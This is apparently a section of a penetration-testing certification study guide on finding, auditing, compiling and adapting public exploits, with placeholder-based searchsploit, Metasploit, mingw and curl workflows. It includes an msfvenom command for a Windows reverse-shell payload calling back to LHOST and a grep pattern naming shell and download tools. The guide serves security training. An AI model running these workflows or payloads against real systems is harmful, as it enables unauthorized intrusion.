4.1 Select and adapt public exploits

Strategy map | Master Notes | Operational index | Cheatsheets

Match the exploit's assumptions before editing it. Separate dependency, transaction, payload, connection and result failures; make the smallest evidence-backed change.

Speedrun blocks: 6; relevant 14. Documented methods: 4.

Examples are hypothetical study material. Apply commands only to an assigned scope during the later practice phase. A method is enabled by its prerequisites; its presence here does not establish a vulnerability or practical mastery.

4.1.1 First pass: tools and findings

Use the branch matching the current host, identity and observed result. Tool output supplies leads; the linked procedure verifies and uses the exact condition.

4.1.1.1 Find a PoC for the confirmed component

SearchSploit/advisory results are candidates. Read the feature, build, authentication and configuration requirements.

searchsploit --cve CVE
searchsploit -t "PRODUCT VERSION"
searchsploit PRODUCT VERSION --exclude="/dos/"

• If The vulnerable feature and required access match: Read the PoC code and recreate its runtime before execution. → Audit a PoC and reproduce its interpreter/dependency environment.
• Otherwise: Only the banner/version matches: return to component enumeration. → Identify applications and validate selected NSE checks.

4.1.1.2 Inspect interpreter, dependencies and request assumptions

Do not debug blindly by changing payloads; separate a local runtime failure from a target-side rejection.

file exploit.py
python3 --version
python3 -m venv .venv
. .venv/bin/activate

• If Native source/build mismatch: Match process architecture and ABI before compiling. → Compile and minimally adapt an existing native or memory-corruption PoC.
• If Login, CSRF, path or schema differs: Reconstruct the real protected request. → Repair a web PoC using the real HTTP transaction.
• Otherwise: The program runs but no effect is verified: return to the advisory's exact conditions. → Match a public exploit to the actual component and configuration.

4.1.2 Discovery workflow

Start with product/build/configuration evidence; a matching exploit or vulnerable version is not assumed.

Follow these observations into a method; the detailed recognition routes below show synthetic output and the checks still needed.

1. Compare advisory and PoC prerequisites with the actual component and enabled features: Match a public exploit to the actual component and configuration.
2. Review code and establish its interpreter/dependencies before interpreting failures: Audit a PoC and reproduce its interpreter/dependency environment.
3. Inspect process architecture and runtime before native compilation/adaptation: Compile and minimally adapt an existing native or memory-corruption PoC.
4. Reconstruct the real request when a web PoC's login, path or parser assumptions differ: Repair a web PoC using the real HTTP transaction.

Decision rule: an observed clue opens a candidate. Choose it only after the missing conditions are verified; a failed check rules out that context, while unavailable evidence stays inconclusive.

4.1.3 Method families

• Selection and local runtime: Match a public exploit to the actual component and configuration, Audit a PoC and reproduce its interpreter/dependency environment.
• Native and web adaptation: Compile and minimally adapt an existing native or memory-corruption PoC, Repair a web PoC using the real HTTP transaction.

4.1.4 Choose a method

4.1.5 Match a public exploit to the actual component and configuration

Blocks: 6; relevant 14. Operational procedure | Operational procedure | Quick sheet

4.1.5.1 Purpose and result

A justified exploit candidate or a documented prerequisite mismatch.

4.1.5.2 Recognition clues

A product/version clue, advisory or component-specific public PoC.

4.1.5.2.1 Find the clue from your starting access

Where to investigate: Join application fingerprint/configuration evidence with the advisory and PoC's stated preconditions before selecting the exploit.

Discovery action — reference example:

Access/context: An identified component/build and a candidate exploit with reviewable source

searchsploit PRODUCT VERSION
searchsploit -x EXPLOIT_ID

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Candidate requires: FEATURE enabled, authenticated ROLE, affected BUILD
Observed deployment: FEATURE state not yet known

Recognize this detail: The exact feature/role/build conditions identify what must be checked; a product-name hit does not establish applicability.

Still missing before method selection: Resolve every required condition and define the smallest observable proof of the expected effect.

If you do not yet have this clue: start with Identify applications and validate selected NSE checks.

4.1.5.3 Prerequisites

Starting access: An identified component/build and a candidate exploit with reviewable source. Required conditions: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect.

4.1.5.4 Discover and verify prerequisites

searchsploit PRODUCT VERSION
searchsploit -x EXPLOIT_ID

4.1.5.5 Why it works

Version resemblance is weaker than exact applicability. Authentication, feature state, architecture and patch backports can invalidate a published exploit even when the banner looks right.

4.1.5.6 Execute and choose variants

source URL/EDB-ID/CVE/commit:
product + component + edition/build:
target OS/architecture/runtime:
remote or local; pre-auth or authenticated:
required configuration/feature/path/credential/privilege:
expected effect:
exploit runtime and dependencies:
hard-coded target/callback/payload assumptions:
destructive or stability risk:
evidence each prerequisite exists:

Do not substitute a scanner label for component evidence. Check vendor/version output, application behavior, files/configuration and the exploit's own affected-version notes. Distribution backports, disabled features, authentication and mitigations can invalidate a simple version match.

searchsploit --cve CVE
searchsploit -t "PRODUCT VERSION"
searchsploit PRODUCT VERSION --exclude="/dos/"

Inspect before copying:

searchsploit -p EDB_ID
searchsploit -x EDB_ID
searchsploit -w "PRODUCT VERSION"

Copy a working copy, never edit the archive in place:

mkdir -p exploit-work
cd exploit-work
searchsploit -m EDB_ID
sha256sum EXPLOIT_FILE
file EXPLOIT_FILE

A named Nmap NSE script can validate or exercise a specific known condition, but inspect it and its arguments first:

nmap --script-help SCRIPT_NAME
sed -n '1,240p' /usr/share/nmap/scripts/SCRIPT_NAME.nse
nmap -Pn -p PORT --script SCRIPT_NAME --script-args 'ARG=VALUE' TARGET

Script categories such as intrusive, exploit, brute or dos change risk and authorization requirements. A script-reported vulnerable result remains a candidate until its underlying evidence or controlled effect is validated.

git clone REPOSITORY_URL exploit-source
cd exploit-source
git log -1 --format='%H %ad %s' --date=iso-strict
git status --short

msfconsole -q
search type:exploit PRODUCT CVE
info MODULE_NAME
use MODULE_NAME
show options
show targets
show payloads
set RHOSTS TARGET
set RPORT PORT
set TARGET TARGET_ID
set PAYLOAD PAYLOAD_NAME
set LHOST LHOST
set LPORT LPORT
check
run

4.1.5.7 Worked example — hypothetical

Observation: a banner resembles a vulnerable release. Test: compare advisory prerequisites with enabled features and the actual transaction. Illustrative output: the vulnerable feature is disabled. Interpretation: reject this candidate and inspect other application behavior.

4.1.5.8 Verify the result

Write the evidence for every prerequisite and the minimal effect that would validate the hypothesis.

4.1.5.9 Failure and fallback

A scanner's CVE label or a copied walkthrough command is insufficient. Resolve the build/feature gap before running the PoC.

4.1.5.10 Continue from the interpreted result

4.1.6 Audit a PoC and reproduce its interpreter/dependency environment

Blocks: 6; relevant 14. Operational procedure | Operational procedure | Operational procedure | Operational procedure | Quick sheet

4.1.6.1 Purpose and result

A controlled, reproducible tool environment and an understood PoC.

4.1.6.2 Recognition clues

A plausible exploit fails before reaching the target or has unreviewed side effects.

4.1.6.2.1 Find the clue from your starting access

Where to investigate: Read the candidate source and local error path before interpreting target success/failure; inspect interpreter/import and dependency requirements.

Discovery action — reference example:

Access/context: An identified component/build and a candidate exploit with reviewable source

file exploit.py
python3 --version
python3 -m pip --version

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Traceback: ModuleNotFoundError: REQUIRED_MODULE
No target request observed

Recognize this detail: The failure occurred locally before the vulnerable request; it says nothing about target patch state.

Still missing before method selection: Review side effects, reproduce supported dependencies/interpreter and observe the real request before judging exploitation.

If you do not yet have this clue: start with Match a public exploit to the actual component and configuration.

4.1.6.3 Prerequisites

Starting access: An identified component/build and a candidate exploit with reviewable source. Required conditions: Reviewed source, understood network/file actions, correct interpreter and compatible isolated dependencies.

4.1.6.4 Discover and verify prerequisites

file exploit.py
python3 --version
python3 -m venv .venv
. .venv/bin/activate

4.1.6.5 Why it works

A syntax/import/dependency failure is a local environment issue, not evidence that the target is patched. Dependencies and downloaded payloads can themselves execute code.

4.1.6.6 Execute and choose variants

Start with metadata and readable text:

file EXPLOIT_FILE
sha256sum EXPLOIT_FILE
sed -n '1,240p' EXPLOIT_FILE
grep -nEi 'sudo|setuid|chmod|chown|rm |unlink|remove|subprocess|system\(|popen|exec\(|socket|connect|requests|curl|wget|powershell|cmd\.exe|/bin/(ba)?sh|http://|https://' EXPLOIT_FILE

For binaries, prefer obtaining inspectable source. If only a binary exists, treat it as a substantially higher-risk choice:

file EXPLOIT_BINARY
sha256sum EXPLOIT_BINARY
strings -a EXPLOIT_BINARY | less
objdump -f EXPLOIT_BINARY

Audit for:

• unexpected privilege requirements on the attacking host;
• destructive file/process/service operations or denial of service;
• downloads, callbacks or telemetry to third parties;
• embedded credentials, tokens, commands or payloads;
• files written or overwritten and their cleanup behavior;
• hard-coded target addresses, ports, paths, virtual hosts and callback values;
• authentication, cookie, CSRF, redirect, TLS and proxy assumptions;
• target OS, architecture, runtime, library and payload assumptions;
• success messages that are printed without verifying the claimed effect.

Safety cue: use source, a disposable environment and a clean snapshot when uncertainty remains. Do not grant sudo merely because an unknown PoC requests it.

head -n 1 EXPLOIT_FILE
python3 --version
gcc --version
file EXPLOIT_FILE

Separate three architectures:

1. where the exploit program itself runs;
2. the vulnerable target process;
3. the payload that will execute inside or on the target.

A remote Python exploit may run on Kali while delivering a Windows x64 payload. A local Linux exploit normally must run on the target-compatible architecture. Compiler choice follows the produced program; payload choice follows the target execution context.

After source review:

python3 -m py_compile exploit.py
python3 exploit.py --help

Isolate explicit dependencies:

python3 -m venv .venv
source .venv/bin/activate
python -m pip install --upgrade pip
python -m pip install -r requirements.txt
python -m pip freeze > requirements-resolved.txt

Useful diagnostics:

python3 -X dev exploit.py ARGUMENTS
python3 -m trace --trace exploit.py ARGUMENTS

Use tracing only when its output is bounded and does not expose credentials. Prefer adding a few prints around the failing request/parser over changing many lines at once.

Use when: a source-based Python assessment tool has dependencies that should not modify Kali's system Python. This is setup/reference material, not authorization to install a tool.

4.1.6.6.1.1 Isolate the Python dependencies required by the reviewed tool Linux/Kali virtual environment

python3 -m venv .venv
source .venv/bin/activate
python -m pip install --upgrade pip
python -m pip install -r requirements.txt

Install one explicitly selected package only when needed:

python -m pip install PACKAGE

python -m pip show PACKAGE
python -m pip freeze
deactivate

PEP 668 intentionally protects externally managed system environments. Do not bypass it with --break-system-packages; use a venv or the distribution package when appropriate.

4.1.6.6.1.2 Run the procedure from a Windows PowerShell environment Windows PowerShell

py -m venv .venv
.\.venv\Scripts\Activate.ps1
python -m pip install --upgrade pip
python -m pip install -r requirements.txt
deactivate

4.1.6.6.1.3 Record the runtime and dependencies needed to repeat the procedure Reproducibility checks

python --version
python -m pip --version
python -m pip freeze > requirements-resolved.txt

Record the tool source/commit, Python version, dependency file and exact command. Keep environments per tool when their dependency ranges conflict.

4.1.6.6.1.4 uv alternative for a Python PoC with missing dependencies

Use when uv is already available and the reviewed script needs a small dependency set. Keep the baseline venv workflow as an option when uv is absent.

4.1.6.6.1.4.1 Run outside the current project's dependencies, supplying the known dependency

# Run outside the current project's dependencies, supplying the known dependency
uv run --no-project --with requests exploit.py --help

4.1.6.6.1.4.2 For a script with its own inline dependency metadata

# For a script with its own inline dependency metadata
uv run --script exploit.py --help

Read: a working help/import path establishes the local runtime only. Inspect actual arguments, authentication and target requirements before execution. Pin dependency versions when the PoC depends on an older API; an ImportError and a target-side exploit failure are different boundaries. Dependency resolution can require Internet access.

Sources: upstream 1.

4.1.6.7 Worked example — hypothetical

Observation: a PoC exits with an import error before any request. Test: inspect imports and reproduce its documented environment. Illustrative output: local initialization succeeds. Interpretation: proceed to the target transaction; no vulnerability conclusion was possible earlier.

4.1.6.8 Verify the result

Confirm interpreter/dependency identity and observable intended request behavior; preserve the reviewed source and changes.

4.1.6.9 Failure and fallback

Do not solve every old script with a global package change. Inspect Python-version semantics and choose a supported environment or minimal reviewed edit.

4.1.6.10 Continue from the interpreted result

4.1.7 Compile and minimally adapt an existing native or memory-corruption PoC

Blocks: 6; relevant 14. Operational procedure | Operational procedure | Operational procedure | Quick sheet

4.1.7.1 Purpose and result

A compatible reviewed exploit artifact with evidence-backed parameter changes.

4.1.7.2 Recognition clues

An existing C/C++ or platform-specific PoC matches the candidate.

4.1.7.2.1 Find the clue from your starting access

Where to investigate: Inspect the native PoC's documented target process, compiler flags, ABI and artifact before running it in a target context.

Discovery action — reference example:

Access/context: An identified component/build and a candidate exploit with reviewable source

file COMPILED_ARTIFACT
uname -m
getconf LONG_BIT

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Artifact: ELF 64-bit x86-64
PoC prerequisite: 32-bit target process

Recognize this detail: An architecture/ABI mismatch explains a compatibility problem before exploit logic is evaluated.

Still missing before method selection: Confirm target process rather than just OS architecture, required libraries/loader and documented exploit-specific constraints.

If you do not yet have this clue: start with Match a public exploit to the actual component and configuration.

4.1.7.3 Prerequisites

Starting access: An identified component/build and a candidate exploit with reviewable source. Required conditions: Correct compiler/target architecture, runtime dependencies, documented payload constraints and validated exploit-specific constants.

4.1.7.4 Discover and verify prerequisites

file exploit.c
uname -m
file COMPILED_ARTIFACT

4.1.7.5 Why it works

Compilation architecture and target process architecture must match the PoC's assumptions. Existing offsets, bad-character constraints or payload space are exploit-specific; dedicated exploit development is outside this preparation route.

4.1.7.6 Execute and choose variants

Linux/ELF program:

gcc -Wall -Wextra exploit.c -o exploit
file exploit
ldd exploit
sha256sum exploit

32-bit output requires matching headers/libraries:

gcc -m32 -Wall -Wextra exploit.c -o exploit32
file exploit32

Windows PE from Kali:

i686-w64-mingw32-gcc exploit.c -o exploit-x86.exe
x86_64-w64-mingw32-gcc exploit.c -o exploit-x64.exe
file exploit-x86.exe exploit-x64.exe

Windows socket code commonly needs the Winsock import library:

i686-w64-mingw32-gcc exploit.c -o exploit-x86.exe -lws2_32
x86_64-w64-mingw32-gcc exploit.c -o exploit-x64.exe -lws2_32

Change one assumption at a time and retain a diff:

cp EXPLOIT_FILE EXPLOIT_FILE.orig
git diff --no-index -- EXPLOIT_FILE.orig EXPLOIT_FILE

Typical adaptations are:

Do not combine prerequisite repair, payload replacement and parser rewrites in one unreviewable change.

Dedicated overflow development, offset drills and shellcode development are excluded from this speedrun. Use this section only to understand and adapt an existing PoC whose vulnerable build and assumptions are supported by evidence.

Review the PoC comments and code for:

• exact vulnerable build and target architecture;
• hard-coded target/callback address and port;
• return address/module assumptions and target profiles;
• recorded offset, available payload space and bad characters;
• payload architecture, type and exit behavior;
• crash/restart and reliability expectations.

Replace an embedded payload only when the PoC documents its constraints:

msfvenom -p windows/shell_reverse_tcp \
  LHOST=LHOST LPORT=LPORT \
  -f c -v payload \
  -b '\x00\x0a\x0d'

Use the PoC's actual bad-character and space requirements; the example list is not universal. A changed build, missing module, mitigation or misaligned offset invalidates the PoC and should not trigger a fresh exploit-development detour in this route.

4.1.7.7 Worked example — hypothetical

Observation: a reviewed PoC targets a 32-bit process on a 64-bit host. Test: verify its process and compiler requirements before building. Illustrative output: the correct architecture artifact loads while a native 64-bit build did not. Interpretation: now test the documented effect.

4.1.7.8 Verify the result

Verify artifact format, architecture, required runtime and actual exploit effect independently.

4.1.7.9 Failure and fallback

A crash is not a shell; wrong ABI, mitigation/configuration or constants can invalidate a candidate. Return to its prerequisites rather than inventing an exploit-development exercise.

4.1.7.10 Continue from the interpreted result

4.1.8 Repair a web PoC using the real HTTP transaction

Blocks: 6; relevant 14. Operational procedure | Quick sheet

4.1.8.1 Purpose and result

A PoC that reproduces the relevant application request and a separately verified effect.

4.1.8.2 Recognition clues

An exploit sends requests but authentication, routing or parsing differs from the target.

4.1.8.2.1 Find the clue from your starting access

Where to investigate: Capture the application's real valid transaction and compare it with the PoC's request path, login/session sequence and response parser.

Discovery action — reference example:

Access/context: An identified component/build and a candidate exploit with reviewable source

curl -sk -i -b cookies.txt http://TARGET:PORT/PATH

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

PoC response: HTTP/1.1 302 Found
Location: /login
Actual browser request includes a fresh CSRF token

Recognize this detail: The request never reached the protected operation; the success parser may be reading a login response.

Still missing before method selection: Restore valid host/path/session/CSRF state, then independently verify the exploit effect.

If you do not yet have this clue: start with Match a public exploit to the actual component and configuration.

4.1.8.3 Prerequisites

Starting access: An identified component/build and a candidate exploit with reviewable source. Required conditions: A valid baseline transaction with correct host, base path, session/CSRF state and request encoding.

4.1.8.4 Discover and verify prerequisites

curl -sk -i -b cookies.txt http://TARGET:PORT/PATH

4.1.8.5 Why it works

Web exploit assumptions often fail at login, cookie handling, URL construction or response parsing before the vulnerable behavior is reached. Reconstruct the request before editing payload logic.

4.1.8.6 Execute and choose variants

Before changing the script, reproduce the relevant request with Burp or curl and compare:

curl -i -X METHOD 'SCHEME://HOSTNAME:PORT/PATH' \
  -H 'Host: HOSTNAME' \
  -H 'Cookie: COOKIE' \
  --data 'PARAM=VALUE'

For a scoped lab with a known self-signed certificate:

curl -k -i 'https://HOSTNAME:PORT/PATH'

In Python Requests, use a session when cookies or defaults must persist:

with requests.Session() as session:
    response = session.get(url, timeout=10)
    print(response.status_code, response.url)
    print(response.headers)
    print(response.text[:500])

Set verify=False only for a scoped test after confirming the certificate problem; it disables certificate and hostname validation. Prefer a supplied CA bundle when possible.

Parser cue: IndexError, missing-key and regular-expression failures mean the received response did not have the assumed shape. Print status, final URL, headers and a bounded body fragment before rewriting the parser. Common causes are a changed path, redirect, failed login, CSRF change, error page, proxy/WAF response or certificate handling.

4.1.8.7 Worked example — hypothetical

Observation: the PoC reports success after a redirect to login. Test: compare its request with the authenticated browser baseline. Illustrative output: a missing CSRF token prevented the protected request. Interpretation: repair that state, then independently test the claimed effect.

4.1.8.8 Verify the result

Check the target action/output rather than trusting the PoC's success string.

4.1.8.9 Failure and fallback

A normal HTTP response can be an authentication or parsing failure. Separate application request repair from payload/callback diagnosis.

4.1.8.10 Continue from the interpreted result

4.1.9 Sources and shared concepts

Supplied PEN-200 Ch 13–14 pp375–415. Exploit Database, SearchSploit manual. Dedicated exploit development is excluded; existing PoC adaptation remains included.

Commands and their adjacent variant conditions are synchronized extracts of the linked operational procedures. Those procedures own complete execution details; this guide owns method selection, explanations and worked reasoning. Tool availability on the learner's Kali or a target must be checked in that environment.